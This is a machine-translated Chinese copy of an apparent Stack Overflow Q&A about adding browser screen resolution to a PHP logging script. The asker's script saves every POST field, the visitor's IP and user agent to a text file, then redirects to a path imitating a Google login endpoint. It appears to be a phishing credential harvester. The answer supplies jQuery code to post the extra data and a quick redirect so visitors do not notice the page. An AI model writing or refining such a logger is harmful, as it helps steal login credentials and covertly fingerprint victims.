将JavaScript输出与PHP合并


Merge JavaScript output with PHP?

我有一段现有的代码,我用它来记录某些数据到一个文本文件:

<?php
    header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
    $handle = fopen("file.txt", "a");
    $post = $_POST;
    $post['IP'] = $_SERVER['REMOTE_ADDR'];
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
    $post['Referrer'] = $_SERVER['HTTP_REFERER'];
    $post['Date&Time'] = date("l jS 'of F Y h:i:s A");
    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }
    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;
?>

我也想记录屏幕分辨率,但显然,没有办法做到这一点,只有可能与JS:

var screenWidth = window.screen.width,
    screenHeight = window.screen.height;

那么我如何把这个信息记录在同一个文件中呢?

PS:我不能使用jquery…罢工(

编辑* * * * * * * * * *

好的,我可以使用JQuery但是输出仍然需要在相同的文本文件中

你不能,至少在同一时间。

当你的php正在执行时,你的页面仍然等待被发送到客户端(或者它正在处理中)。

当页面在客户端加载时,javascript将被执行,并且没有机会通过浏览器的http连接到您的服务器。

所以,如果你想在服务器端获得这些数据,你应该通过ajax发送给一些接收它的脚本。

Ok。它可以修改同一个文件。但是要注意不要与其他脚本执行重叠,这样你可能会得到意想不到的结果。

还请记住,你不能确定客户端将有效地执行你的javascript,甚至可以完成ajax连接发送给你的信息,所以你需要准备有不完整的注册。

我想到的一种方法是,不要在用户登陆的页面上放置现有的代码,而是用Javascript创建一个新文件,就像你已经知道的那样,它可以获得分辨率。

然后,让这个新的初始页面POST分辨率变量到后台的php脚本,然后分辨率变量将成为POST数组的一部分,并可以将它们与现有的POST数据存储在一起。

使用Javascript发布数据是相当常规的,可能是它自己的主题,但我相信你可以在网络上找到无限的例子,JQuery确实用更少的代码做到了,但太糟糕了,这不是一个选择:(

编辑:下面的例子是使用jQuery发送到php

创建新的"landing.php"(不一定是。php,可以是。html)或任何你想要的名字,并让这是用户首先登陆的地方,并把它放在里面。它可能是一个现有的页面,您的用户可能已经登陆,在这种情况下,只需把它放在底部。然后,当用户在做他们的事情时,它会在后台发生。

<script type="text/javascript">
    var screenWidth = window.screen.width,
        screenHeight = window.screen.height;
    $.post('name_and_path_of_php_file_you_already_created.php', { 
            screenWidth: screenWidth, 
            screenHeight: screenHeight 
          }, function(data) {
                // Can do something extra here, most likely redirect your 
                // user to a more meaningful page after the file is created
                // using something like.
                window.location.href = 'some_meaning_page.php';
                // Also in this case, 'data' variable will hold anything
                // Outputted from the PHP if any, and is optional, but can
                // be useful for echo'ing out some status code or something
                // and make a decision.
        });
</script>

因为你现有的php脚本已经循环遍历$_POST数组(在你的例子中是$post)并生成键/值对,那么这意味着'screenWidth'和'screenHeight'键/值将与其他变量一起自动添加到文件中。

如果你能够将此添加到你知道用户正在登陆的现有页面,那么你可能不需要使用'window.location '重定向。Href ',但是如果它是第一页,那么他们不会看到任何东西,你会想把他们重定向到一些内容,对他们来说,这将发生得如此之快,他们不会真正知道他们在一个页面上,并发送到另一个页面,它只会看起来像他们去的页面正常加载。

如果这不是很清楚,或者如果需要其他方面的帮助,请告诉我。